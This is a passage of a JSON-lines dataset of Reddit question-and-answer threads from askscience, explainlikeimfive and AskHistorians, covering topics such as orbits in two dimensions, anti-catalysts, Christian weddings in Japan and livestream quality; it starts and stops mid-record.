"http://en.wikipedia.org/wiki/Prosopagnosia"]]}
{"q_id": "15icj9", "title": "How far is the focal point for human eyes when resting?", "selftext": "For instance, when you 'zone out' or just let your eyes rest and you're not consciously focusing on anything, what is the natural focal length for an eye in that state?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15icj9/how_far_is_the_focal_point_for_human_eyes_when/", "answers": {"a_id": ["c7mqhkq", "c7mw1j1"], "score": [10, 3], "text": ["The focal length going into the eye is 23-24 mm. Coming out it is about 17 mm. The difference is the refraction boundary at the cornea. ", "I believe what your asking about is dark focus.  Or rather what would what would our eyes focal point be if there was no stimulus present?  If you put someone in a room that has no stimulus for which we can focus, our eyes tend to accommodate about 1-1.5D. For a patient with no refractive error this would put their focal point between 66-100cm.  In every day life this phenomenon results in something called 'night myopia'.  At night our eyes tend to accommodate about 1D resulting in slightly decreased visual acuity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1l3ypt", "title": "external debt", "selftext": "How does external debt work? If every country is in debt, how can debt exist? What currency is used? Why bother with it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1l3ypt/eli5_external_debt/", "answers": {"a_id": ["cbvjmt4"], "score": [2], "text": ["Countries owe debt to things other than countries.  Like people (most retirement plans in the US are based somewhat on owning US debt).\n\nCurrency used depends on the country.\n\nDebt is useful for a lot of reasons, it lets you do things right now instead of waiting until later, which is useful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9k9b6h", "title": "Can birds feel things they touch with their beak, if so how does this work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9k9b6h/can_birds_feel_things_they_touch_with_their_beak/", "answers": {"a_id": ["e6xv2yx", "e6xv4ns", "e6yf63i"], "score": [13, 10, 2], "text": ["Hold a pencil and then scrape it over various surfaces. Do you notice how you easily extend your 'feeling' outside of your body to the tip of the pencil? (I don't know anything about birds though, just wanted to share that...)", "To answer your question, sort of. It's the same with how we can feel with our nails. If you tap down on your desk, only making contact with your nail, you will feel it but that's about it. (note that I dont mean the entire surface area of your nails, just the tip)", "They can feel pressure, and therefore how hard or soft something is. By moving the beak over a surface, they can get a good idea how rough or slippery it is.\n\nFor items that are similarly springy (for example, a foam mousepad and a folded washcloth) they will have a hard time telling the difference. They also can't tell sharp from blunt, and can barely tell temperature.\n\nAs others mentioned, fingernails are pretty much the same. If you give someone a sewing needle, look away, and have them lightly poke your fingernail with either the sharp end or blunt end, you won't be able to tell the difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "clogsm", "title": "Enoch Powell was resoundingly popular with the public following his \u2018Rivers of Blood\u2019 speech according to Gallup. Why was the Tory Party and Press so quick to condemn him, and why was the establishment position so different to that of the public?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/clogsm/enoch_powell_was_resoundingly_popular_with_the/", "answers": {"a_id": ["evylnx6"], "score": [5], "text": ["The Tories denounced Powell's speech because it made race into a political issue and disrupted a fragile political consensus that benefited both them and the Labour Party. Britain's economic recovery following World War II depended on the maintenance of the peace between classes that had existed during the war, and on the exploitation of workers from the colonies, who provided a large labor force but did not receive much help from the state in the way of housing and welfare.\n\nThere was a bipartisan effort in government to maintain this situation by avoiding emotional politics about race or labor. Although Labour was publicly committed to racial equality, trade unions were not, and making race a big question threatened to open this fracture. The Tories on the other hand were obviously not keen on immigration, but wanted to avoid charges of racism, and like Labour avoided outright engagement on the topic of race through support for slow racial inclusion. Both parties viewed the question of racism as a political liability, and did their best to manage public opinion on the topic rather than following it.\n\nFor example, the Conservative's Shadow Home Secretary Quintin Hogg recommended supporting the 1968 Race Relations Bill which outlawed racial discrimination in private employment, loans, housing, insurance. Hogg argued that the Conservative Party should approach the issue of racism \"coolly, and cautiously, but liberally. We should not shut the door against extension \\[of laws against racism\\]. We should take the credit for the conciliation machinery. We should, on the other hand, sound a warning against excessive precipitancy. We must lead public opinion, not drag behind it, or bulldoze it.\"\n\nTherefore both parties supported a slow, limited, and unemotional approach to the issue of racism and immigration. Powell's speech was a populist attack on this bipartisan politics. As he said in another talk, there had opened \"a deep and dangerous gulf in the nation,\" between \"the overwhelming majority of people throughout the country on the one side, and the other side a tiny minority.\" Powell saw himself as leading a revolt of the silent majority who were deeply uncertain about Britain's transformation into a liberal, postcolonial state, which was happening under the aegis of both political parties.\n\nSource:\n\nCamilla Schofield, *Enoch Powell and the Making of Postcolonial Britain.* Cambridge: Cambridge University Press, 2013."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24cdnw", "title": "explain this poem, please", "selftext": "What is it men in women to require?\nThe lineaments of gratified desire.\nWhat is it women do in men require?\nThe lineaments of gratified desire.\n\nWilliam Blake", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24cdnw/eli5_explain_this_poem_please/", "answers": {"a_id": ["ch5txln"], "score": [3], "text": ["All it means is that what everybody wants is for their needs and desires to be met."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "59trqy", "title": "why is it that most people pull up their nose when they smell something unpleasant?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/59trqy/eli5why_is_it_that_most_people_pull_up_their_nose/", "answers": {"a_id": ["d9bb4um"], "score": [5], "text": ["Do you mean \"scrunch up?\" The body does that because it closes off the sinuses somewhat. Since the smell passes through the nasal cavity and sinuses to get detected by the brain, it reduces the amount of the smell that is received."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "q8fmo", "title": "What would orbits look like in a 2D universe, where gravity would fall off by 1/r instead of 1/r\u00b2? What about other powers of r?", "selftext": "So, I was watching [this video of Carl Sagan](_URL_2_) describing dimensions, and I reminded myself of [Edwin Abbott's Flatland](_URL_1_), a fascinating book about creatures that live in a 2D world.\n\nThat got me thinking about cosmology and astronomy in such a 2-dimensional universe. In our 3D universe, gravity (as per Newton's formulation) follows the inverse square law, where forces fall off proportionally to 1/r^2.\n\nThis is beautifully related to the properties of the dimensions of the Universe. [According to Wikipedia](_URL_0_):\n\n > The inverse-square law generally applies when some force, energy, or other conserved quantity is radiated outward radially in three-dimensional space from a point source. Since the surface area of a sphere (which is 4\u03c0r^2 ) is proportional to the square of the radius, as the emitted radiation gets farther from the source, it is spread out over an area that is increasing in proportion to the square of the distance from the source.\n\nThis means that in a 2D universe, gravitational force would be distributed on the circumference of a circle, since that's the 2D analogue of a sphere in 2D space, which would give us a force proportional to 1/r.\n\nWhat are the implications of such a change for the orbits of objects? Are orbits stable or not? Does the whole concept of gravity and orbits breaks down in two dimensions?\n\nTaking it to the next level, what would other real values of p in 1/r^p look like? Which are stable/unstable? What are the shapes of orbits in such parameters?\n\nI'd love to have an interactive simulation, but I don't have the expertise to program that.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/q8fmo/what_would_orbits_look_like_in_a_2d_universe/", "answers": {"a_id": ["c3vl1u2", "c3vlk7f", "c3vluql", "c3vm482", "c3vqva1"], "score": [18, 6, 3, 3, 5], "text": ["It's a very interesting fact the only number of spacial dimensions that yields stable planetary orbits is three. More or less than that, and they become unstable. \n\n[reference](_URL_0_)", "You'll be interested in [Bertrand's Theorem](_URL_0_) then. In our universe, a planet orbiting around a star will have an orbit which is a perfect ellipse (well, not quite perfect once you account for relativity, but ignore that for now). But the inverse-square law is one of only two spherically symmetric force fields where all closed orbits are stable (and vice-versa). So in 2 dimensions or 4 dimensions, you'll still have circular orbits, but any other stable orbits won't be closed, they'll take a slightly different path with each orbit.\n\nThe other force field that works like this is the harmonic oscillator, where the force is proportional to r. Think of two objects connected by a spring.\n\nThat's from a strictly Newtonian perspective. From a General Relativistic perspective, I really have no idea if gravity makes any sort of sense in two or four dimensions.", "I'm confused.  So if the only number of dimensions that can yield a stable planetary orbit is three...then do we live in a three dimensional universe?  Because I was under the impression that we lived in four dimensions, since we experience both space and time.  Is that an outdated mode of thought?  I know time isn't quite as simple as just being \"another dimension\", but this is what went through my head when I read leberwurst's comment.", "[Orbits from a 1/r force are always stable](_URL_0_), although they might not be closed.", "[eternaua3k](_URL_0_) explains the mathematics behind this very nicely.\n\nNot only is an orbit possible in 2D, it is required (unlike 3D where hyperbolic escape trajectories are possible). The potential grows logarithmically with distance meaning no matter how much energy you have, your rocket never achieve a proper escape trajectory. Okay, in practice this wouldn't be a big problem since you can travel exponentially far.\n\nIn a 4D gravity, you will either spiral in or out. It's possible to strike a delicate balance to achieve circular orbit, but such an orbit is unstable to most perturbations. This happens because the gravitational potential has the same 1/r^2 form as the centrifugal barrier, so there is never any local minimum at finite nonzero r.\n\nIn [5D and above](_URL_1_), the potentials have a local maximum instead of local minimum. Gravitational bodies would drift around without noticing each other, until they came slightly too close and **wham** suddenly spiral into each other."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Inverse-square_law", "http://en.wikipedia.org/wiki/Flatland", "http://www.youtube.com/watch?v=UnURElCzGc0"], "answers_urls": [["http://arxiv.org/abs/1011.4037"], ["http://en.wikipedia.org/wiki/Bertrand%27s_theorem"], [], ["http://www.reddit.com/r/math/comments/q83ci/what_would_orbits_look_like_in_a_2d_universe/c3vk334"], ["http://www.reddit.com/r/math/comments/q83ci/what_would_orbits_look_like_in_a_2d_universe/c3vk334", "http://www.wolframalpha.com/input/?i=1%2Fr^2-1%2Fr^3"]]}
{"q_id": "2b449q", "title": "why do news articles repeat everything multiple times?", "selftext": "If you read any news article, they always write a fact and then repeat it in different wording. And then a few paragraphs later repeat again!\nTo make it worse when it's an article about new info about old events they repeat the entire \"old event\" multiple times as well...\nAny thoughts?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b449q/eli5_why_do_news_articles_repeat_everything/", "answers": {"a_id": ["cj1m17z"], "score": [2], "text": ["It's called the inverted pyramid. Most people don't read entire articles start to finish. That's why the journalists write information in this way: Most *newsworthy* information (who? Where? When? and so on), then *important details*, other *general info/background info* (like contact info to the police department working on the case). \n\nAnd because the readers probably aren't going to read **all** of it some things are repeated (like what someone does for a living) to make sure that the reader gets the point **without** having to actually read every word. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7f327m", "title": "Do we know anything about individual artists (sculpture, frescos, mosaics) in Roman times? The ones charged with making art for the emperors?", "selftext": "I was looking at busts of Roman emperors after falling into a rabbit hole on a random post.  It was about Maximinus Thrax and I was blown away by the detail. So I googled up other emperors and famous Romans, [like Julius Caesar](_URL_0_), and wondered whether there were celebrated sculptors and artists like Raphael or Velazquez at the time, and who they were. \n\nSo, do we know any superstar Roman artists, sculptors and the like? \n\nShould I limit the question to a time frame?  How about the period of the 5 good emperors. \n\nMaybe a good follow up question in case we don't know any would be, when did artists begin to be recognized in history?\n\nThanks in advance!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7f327m/do_we_know_anything_about_individual_artists/", "answers": {"a_id": ["dqan6bm"], "score": [2], "text": ["The short answer is, not much. Most Roman sculpture, from the Republican to the Later Imperial period, can be divided into one of two categories: the 'ideal' and the portrait. The latter is self-explanatory: portrait busts, as well as portraits of the dead on funeral steles. The former encompasses full-length figures of deities and heroes. There was also architectural sculpture, in the form of metopes, reliefs and friezes, although this was employed less extensively in Roman than in Greek architecture.\n\nThe vast majority of surviving Roman figures tend to be marble copies of lost Greek bronzes. Many of the best-known antique sculptures, such as the Apollo Belvedere, the Farnese Hercules and the Venus de' Medici, are 1st or 2nd century AD Roman copies of earlier Greek works. The curious thing is that, while few of these works are signed and little written reference is made is to the Roman artists who must have carved these works, we are able to name many of the Greek sculptors who produced the originals, e.g. Praxiteles, Leochares and (earlier) Lysippos and Phidias. There are a few surviving Roman names, e.g. the Farnese Hercules is signed by 'Glykon', a Greek name but presumably of a sculptor working in Rome - but other than that, we nothing of him.\n\nIn answer to your broader question, the first historiographical treatment of individual artists in Europe is arguably Giorgio Vasari's *The Lives of the Most Excellent Painters, Sculptors and Architects*. First published in 1550, Vasari's *Lives* consisted of a series of biographical essays on artists from Cimabue and Giotto up to his own time, presenting the development of art as one of stylistic progress from 13th century barbarity to 16th century perfection. Of course, he was not the first person to identify the worth of individual, named artists - nor were individual artists of the medieval period lacking in recognition in their day - but the *Lives* were the first work to present the figure of the artist as an individualised 'genius', in a manner that has influenced art writing up to the present day."]}, "title_urls": [], "selftext_urls": ["https://goo.gl/images/PJk8p7"], "answers_urls": [[]]}
{"q_id": "9sqqi7", "title": "why does the earth orbit the sun, but a sugar cube won't orbit a basketball?", "selftext": "Is it because they're both being acted on by bigger forces like earth, and if they were in the middle of space millions of light-years from anything they would orbit? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9sqqi7/eli5_why_does_the_earth_orbit_the_sun_but_a_sugar/", "answers": {"a_id": ["e8qp2zp", "e8qr5ru", "e8qsagz", "e8qsppe", "e8qtbz1", "e8raepe"], "score": [12, 4, 5, 2, 3, 2], "text": ["More or less.\n\nFor one thing, it's not quite true that smaller objects orbit bigger ones - rather, both of them will orbit their common center of mass. It's just that the Sun is so much bigger than the Earth, the common center of mass is still inside the Sun, so the motion caused by the Earth is tiny.\n\nBut in the absence of all other forces, a sugar cube and basketball will also orbit their common center of mass. It depends how far apart from each other they are, and how quickly they're moving relative to each other, but there are orbits.\n\nThough probably only in a strictly hypothetical sense - I'd imagine that a basketball outgasses through the nozzle where you fill it up, so it wouldn't be stable and be pushed out of orbit.", "The difference in mass between the earth and the sun and a sugar cube and a basketball is insanely big ", "They will orbit each other. Its just that the masses involved are so tiny that  gravitational forced would be absolutely miniscule. The velocities for their orbits would just as miniscule. \n\nUsing this calculator, you take the mass of the Basketball, The sugar cube, and the chosen orbital radius, and it will give you the orbital period. \n\n_URL_0_ \n\nif we assume 1kg for the ball, 1 g for the cube, and a orbital distance of 1 m, they would orbit each other once every 0.0243584 years. That's very slow.\n\n\n", "would two objects of equal mass ratio orbit each other in the same was as earth and the sun even if they were very small (or large). \n\nor **are there size requirements for how gravity works** \n\nkind of like how they are for nuclear forces to work.\n\nafter all atoms are always the same size.", "That is complete correct.   \n\nThere is something called a [Hill sphere](_URL_0_)  that is where you can orbit a object. If you are close to the earth you can obit the earth but when you move away at some point your orbit will no longer be around the earth but orbit the  the sun instead. So a hill sphere is the region where you can orbit a object. The hill sphere of Earth is  ~1% of the distance to the sun.\n\n\n\nThe size of the sphere depend on the mass and distance ie the the gravity of the larger objects comapred to the mass of the smaller object. \n\nThe space shuttle have a max mass of 104 tonnes and was in a orbit 300 km from the earth. You can calculate the size of the hills sphere of the space shuttle and it is only 120 cm and the shuttle is a lot larger. So you could not orbit the space shuttle in low earth orbit. A object in low earth orbit has to be more dense then lead to be smaller then it's own hill sphere. So a sugar cube could not orbit the ISS.\n\nAt geostationary orbit where a lot of communication satellite are the object has have a density of 6% of water to fit in its own hill sphere.  It is not unreasonable that a communication satellite have higher density so you could probability orbit a sugar cube around a communication satellite.\n\nSo if you change the basketball to a bowling ball, that is more dense then water, you could orbit a sugar cube around at a distance less then the distance to the moon. Perhaps you could do that with a basket ball but you would need to calculate that. ", "If you was in the middle of deep space, the sugar cube might orbit it, but here on Earth, the earth\u2019s gravitational field is stronger than that of the basketball so they both get attracted to the earth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.calctool.org/CALC/phys/astronomy/planet_orbit"], [], ["https://en.wikipedia.org/wiki/Hill_sphere"], []]}
{"q_id": "8k8h43", "title": "why we have money exchange fees?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8k8h43/eli5_why_we_have_money_exchange_fees/", "answers": {"a_id": ["dz5nw96", "dz5oqyv", "dz5ovlu"], "score": [5, 5, 3], "text": ["Well \\- why not  \n\nIt is a service and the bank or the company will charge you for that.  \n\nSince the bank/company has to store the actual physical currency there is also a real risk involved like robbery, burglary as well as inflation.  \n\nStoring Zimbabwe Dollars in case of a potential exchange for a client would have been a bad idea", " > Why we have money exchange fees?\n\nBecause currency exchange is a service that takes manpower to perform.  People don't work for free, so banks have to charge money for the services they offer.", " >  If we change that amount to dollars back and forth fees will eat up cash in approximately 849 times. 80 cents will remain.\n\nThat money doesn't disappear.  Those fees go to banks and other places.  So the total amount of money still exists, it has just changed hands."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8d73ou", "title": "A catalyst lowers the activation energy for a reaction. Is there something that increases it, like an anti-catalyst?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8d73ou/a_catalyst_lowers_the_activation_energy_for_a/", "answers": {"a_id": ["dxkw99x", "dxl1k0b", "dxlzs0u"], "score": [22, 5, 5], "text": ["Oh yeah, there are tons of things which can do this.\n\nSome will object to this example, but I think [protecting group chemistry](_URL_1_) is a demonstration. You're basically adding something in solution that provides a barrier to a reaction you want to discourage. Another thing you could maybe call an anti-catalyst would be the lead in [Lindlar's catalyst](_URL_0_). You add the lead in to add an additional activation barrier against complete hydrogenation of alkynes.", "This is maybe a bit of a tangent from the intention of the original question, but insofar as biological enzymes can be grouped as catalysts, a lot of things can be called \"anti-catalysts\". \n\nEnzymes employ conformation dynamics to catalyze reactions. In fact, an accepted theory for enzyme function is that enzyme active site conformation actually stabilizes the transition state of a given reaction, lowering the activation and affecting catalysis^1. That is, enzymes lower the activation energy barrier by poisitioning reactants in such a way that a given reaction is more energetically favored. [This diagram](_URL_0_) hopefully helps to visualize that. Therefore anything that messes with the appropriate conformation of an enzyme or its substrates/cofactors will affect changes in that enzyme's ability to catalyze a reaction. This can be anything from changing ion concentrations to employing konwn enyzme inhibitors. \n\n1. _URL_1_\n\nEDIT: Forgot to finish a senetence.", "I'm going to say no. The reason a catalyst reduces the activation energy is because it provides an alternative pathway for the reaction to take place. For example, if C is the catalyst and A+B are your reactants, your full reaction would go from:\n\nA + B  >  AB\n\nto\n\nA + C  >  AC, \n\nAC + B  >  AB + C \n \nThe reactions with the catalyst would have a combined activation energy lower than the one without, in effect lowering the activation energy of the overall reaction. It is important to note, however, that this is a *different* reaction. The result is the same, but it proceeds via a different pathway.\n\nA reaction pathway which an overall higher activation energy than the simple A + B reaction wouldn't be favored at all, and would only reduce the reaction rate very slightly because it would consume some reactant, reducing the concentration. But this isn't behaving in any way like a catalyst, and the effect isn't nearly as profound.\n\nThe protecting group answer is probably the closest thing to what you describe. But IMO it doesn't behave like an \"anti-catalyst\"; once the group is removed by the reaction, it can't react again and regenerate in the same way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Lindlar_catalyst", "https://en.wikipedia.org/wiki/Protecting_group"], ["https://en.wikibooks.org/wiki/Structural_Biochemistry/Enzyme/Transition_state#/media/File:Activation2_updated.svg", "https://bio.libretexts.org/TextMaps/Map%3A_Biochemistry_Online_(Jakubowski)/07%3A_CATALYSIS/A._Methods_of_Catalysis/A5.__Transition_State_Stabilization"], []]}
{"q_id": "azlgwu", "title": "why do cookies that start out as cubes become round when they are baked?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/azlgwu/eli5_why_do_cookies_that_start_out_as_cubes/", "answers": {"a_id": ["ei8lgm7"], "score": [14], "text": ["As it bakes, the cookie flattens and expands in all other directions more-or-less equally. Because it's basically melting rather than growing, it expands from the center of mass and not from the edges.\n\n & #x200B;\n\nNote, this only works with cookies that start out relatively thick and have a good amount of fat. If you cut prepackaged cookies in half, or made cubes out of a leaner dough, they'd end up more square."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e7kz3m", "title": "Why are Christian marriages so common in Japan despite the religion's minority status?", "selftext": "From [this](_URL_0_) Wikipedia article, it reads:\n\n >  Less than 1 percent of the population claims Christian belief or affiliation... The majority of Japanese couples, typically 60-70%, are wed in Christian ceremonies. This makes Christian weddings the most influential aspect of Christianity in contemporary Japan.\n\nWhat reason is behind the popularity of Christian ceremonies, even though most people do not adhere to its religious significance? Simply foreign influence or something else?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e7kz3m/why_are_christian_marriages_so_common_in_japan/", "answers": {"a_id": ["fa4mhiw"], "score": [164], "text": ["First of all, I must emphasize that the popularity of 'Christian style' marriage ceremony in Japan is VERY recent phenomena that has got the upper hand at first in the late 1990s, as demonstrated by Ishii's study, based mainly on the two statistics conducted respectively by the different wedding/ bridal service companies plus Ishii's own interviews (Ishii 2005: 30-38). \n\nIshii, originally a religious scholar, casts doubts on how religious this ceremony can actually be, formulating as the following: \n\n > 'A cross, a virgin road, a person like a pastor and an atmosphere like a church are what they [the majority of the Japanese] need all. and we indeed have little concrete idea how the Japanese actually understand \"such an atmosphere like a church\"......Compared with 'Shinto style' marriage ceremony, sometimes associated with the stubborn traditionalism, the Japanese may regard instead 'Christian style' as more suitable for a happy ritual representing the consent between two loving individuals'. (Ishii 2005: 74, 77: my translation).  \n\nEven the older, 'more traditional' Shinto style marriage, primarily the contract between the two families is a kind of 'invented tradition' under the Imperial Japanese Constitution after the Meiji Restoration (1868), so in fact neither so traditional nor religious than it sounds at a first glance. The familial structures in modern Japan underwent profound changes several times, at first after the Meiji Restoration and then after WWII, and the marriage ceremony and its affiliated 'religions' are also no exceptions to such a trend. \n\nThere are some fore-running phenomena of this popularity of alleged Christian marriage in the 1970s and in the 1980s, though, illustrated by Igarashi and Ishii respectively from a different point of view. While Igarashi is an architectural historian, Ishii is a religious scholar.  \n\n* According to Igarashi who identifies the direct precursor of the marriage (only) chapel in Japan with those in Las Vegas in USA (Igarashi 2007: 15f.), the first 'commercial' marriage chapel, attached to a party hall or a hotel, in Japan, dates back to 1975. They tend to be modeled after some Gothic-like cathedrals (but sometimes with mistakes), and almost always with the slopes for picture-taking for the bride, clad with long wedding dress. Even some of them in fact resemble the traditional style church buildings in Europe or in USA than the 'actual' church buildings in Japan. \n* Ishii also cites an interesting document in his book, a special license granted in March 01, 1975 by the Vatican to the Catholic churches in Japan that allows non-baptized persons to get married in the church (only) in Japan due to the missionary purpose to more wider possible audiences (Ishii 2005: 52-54.), but I can find [an only later supplement (not the special licent itself) in 1992 (only in Japanese)](_URL_0_) in open access. On the other hand, there had been some discussion concerning how to accept the Christian style marriage between non-Christians also among the protestant pastors in the 1980s (Ishii 2005: 51f.).\n\nReferences (only in Japanese, sorry):  \n\n* Taro IGARASHI. *The Birth of 'Marriage Chapels' (the church building specially built for the marriage ceremony, often by the wedding/ bridal service company) (Kekkon Shiki Kyokai no Tanjo) [in modern Japan]*.  Tokyo: Shunshu Sha, 2007.   \n* Kenji ISHII. *The Marriage Ceremony: that makes them happy (Kekkon Shiki: Shiawase wo Tsukuru Gishiki).* Tokyo: NHK Books, 2005.  \n* Kazuko KOIZUMI (ed.). *Marriage in Showa Period (Showa no Kekkon).* Tokyo: Kawade Shobo Shinsha, 2014."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Christianity_in_Japan"], "answers_urls": [["https://www.cbcj.catholic.jp/wp-content/uploads/2016/10/hikiri-1.pdf"]]}
{"q_id": "a0gezl", "title": "when an animal is \u201crabid\u201d what is happening to it internally?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0gezl/eli5_when_an_animal_is_rabid_what_is_happening_to/", "answers": {"a_id": ["eahp10s", "eahpyz7"], "score": [6, 6], "text": ["Their nervous system is being attacked and causing them both great pain and extreme stress and fear and panic. They strike out wildly at others due to this panic.", "It's not completely clear, but the virus binds to nicotinic acetylcholine receptors in muscles and the brain, which influences the host's behavior.\n\nAlso note that there are two variants; furious and dumb rabies. The former results in aggressive behavior, while the latter makes the animal lethargic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1umdz7", "title": "Would it be possible to grow a gros michael banana cultivar today under ideal conditions for demonstration non commercial purposes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1umdz7/would_it_be_possible_to_grow_a_gros_michael/", "answers": {"a_id": ["cejkunw"], "score": [33], "text": ["Yes.\n\nThe varietal isn't completely extinct, it's just not commercially viable.  If you planted a field of them, the fungus that attacks them wouldn't destroy 100% of the plants, just many of them. And that's bad enough that no one bothers to try growing them anymore for commercial purposes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5gngjp", "title": "how do old people know that they'll die soon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gngjp/eli5_how_do_old_people_know_that_theyll_die_soon/", "answers": {"a_id": ["datm6of", "datnc7j", "datnvlh", "datpyei", "datq0hv"], "score": [21, 4, 4, 10, 13], "text": ["After deciding to die, a person sometimes will start to fail in health until they die due to no longer fighting to stay healthy and alive.\n\nThere have been many cases where a person thought for certain that they were going to die and then the doctors managed to keep them alive and they went on to live a few more years.\n\nThere are also cases where the person thought that for sure they would take a better turn but then they end up just dying overnight.\n\nSo part of it is confirmation bias - the (many) times people are wrong about their particular upcoming death are ignored in favor of the few who \"mysteriously\" somehow knew.\n\nOf course, people often do have at least some knowledge of how their own body is doing (to some extent) so it isn't *completely* random.", "It's a two part thing. The first part is that you can sometimes feel your body falling in a similar way that you can feel when you're sick.  \nThe second part is that there's a mental component to living. I've known people who lived much longer than they should have essentially because they refused to die. I've also known people who gave up on living (or fighting an illness) and died soon after.  It's not at all uncommon.", "They can feel their heart or organs start to fail.  It doesn't feel good.  \n\nMy grandpa was just in the hospital with pneumonia.  His heart stopped and he went unconscious.  He came back a few seconds later like \"where the fuck am i\". \n\nThat night he explained that he felt he was dying.  He refused a pacemaker that the doctors recommended and said he didn't plan on seeing 2017.\n\nThen they sent him home, and he's still going 2 months later.  \n\nSo while you can feel that kind of stuff, part of this is just survivor bias.  Plenty of people think they're going to die and then don't.  But you don't hear about that much because that's not a very interesting story.\n\n", "\"Sense of impending doom\" is an actual medical symptom that doctors take very seriously in critically ill patients.  \n\nShort answer:  We don't know why some people feel this way.  Science tells us that many physiological causes of death have processes that start many hours before the physiological system fails.  \n\nIt is possible that the brains of some people are able to pick up on these unprecedented physiological phenomenon (unprecedented because the person hasn't died before) and their brain interprets this as a feeling of impending death - for reasons we don't completely understand.  \n\nI've seen this myself when rounding in the medical intensive care unit (I'm a scientist who has some clinical exposure).  One patient in particular was a middle aged healthy many who suddenly had an overwhelming feeling he was going to die.  He was having a mild heart attack, but his EKG and blood tests were nothing that caused his physicians to think he was at immediate risk of dying.  A few hours later, he had another massive heart attack and died almost immediately.\n\n\n", "A lot of people get a sudden burst of energy a day to three days before they pass away and take it as a sign they need to wrap things up right away.\n\nIt happens in hospitals and nursing homes and not exclusively with old people either, just people about to die.  A lot of nurses are aware of this and really try to downplay the seemingly sudden return of vitality of loved ones to people knowing that they will likely die within the next 72 hours.\n\nThe cause is still kind of unknown as far as I am aware but is likely due to some of the long running biological processes halting.  Stuff like the digestive tract, blood cell and immune cell production, or liver, kidney, or pancreatic functions eat up a lot of our energy and by simply stopping them a lot of energy can be freed up. This freeing up of some energy leaves more for the person's cognitive abilities, resulting in sudden clarity of thought and easier recollection of memories for a short time while the effects of the lack of the work that failed processes performed builds up, like no longer processing food or removing waste buildup. These failed processes are difficult to detect and  remediate in most cases.\n\nI'm sure if we found a way to detect these failing or failed biological processes in a much more rapid fashion such as bio monitoring implants and a way to remedy the failed process through some kind of transplant or implants we could almost halt death.  \n\nA great deal of the effects of aging seem to come from a reduction in the production and blood concentrations of a protein called GDF11 and the accumulation of another protein called B2M. There are also discrepancies in the production of certain hormones, like oxytocin that compound the effects of aging.  Aging seems to be more of a compounding feedback system than anything else.\n\nThere are some pretty interesting medications that can treat some of the side effects of aging resulting in a slowing of the aging process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "byich5", "title": "why do live-streams usually have such a high quality when video calls are often low resolution and stutter-y?", "selftext": "Aren\u2019t they essentially the same technology? A video and audio feed being streamed to another location?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/byich5/eli5_why_do_livestreams_usually_have_such_a_high/", "answers": {"a_id": ["eqhvdkw", "eqhzf3m", "eqikam7", "eqimubn", "eqivsib", "eqjf1t5"], "score": [48, 21, 16, 3, 3, 2], "text": ["At the most basic level, live streamers tend to have higher quality cameras, as well as higher bandwidth upload speeds. This means more, higher quality data can be sent.", "Couple reasons.. \n\n1. Live streams have a programmed delay. It's not really live, and on some streaming programs you can define this value so it adapts to your bandwidth. \n\n2. This brings us to hardware. With a large bandwidth, stable and fast Internet connection you can send video and audio almost instantly without problems. This is usually achieved with a wired connection and optic fiber connection to the provider. \n\n3. How do we understand real time? For us to think something is live, we need to see almost real time feedback to what we say, coordination video-audio, and no stutter/freezing. \n\nWith all this together: live streams are made to feel live, while videocalls are actually what a live call would feel on average hardware, either with 0.3 sec between your question and the other person listening it, uncoordinated video feedback, or crappy video quality.", "Software and expectations play a big role. People who make livestreams, expect them to be treated like a show, they want it to have very good quality, so the software works on making quality a top priority this can cause delays. Also, streamers will have high quality cameras, microphones, and video encoders.\n\nOn the other hand, video calls are treated like a phone call, the most important thing is to have as little delay as possible, so the quality is set intentionally lower in order to make sure there are no problems receiving on the other end. And on the hardware side, unless you've got professional video conferencing equipment, you're 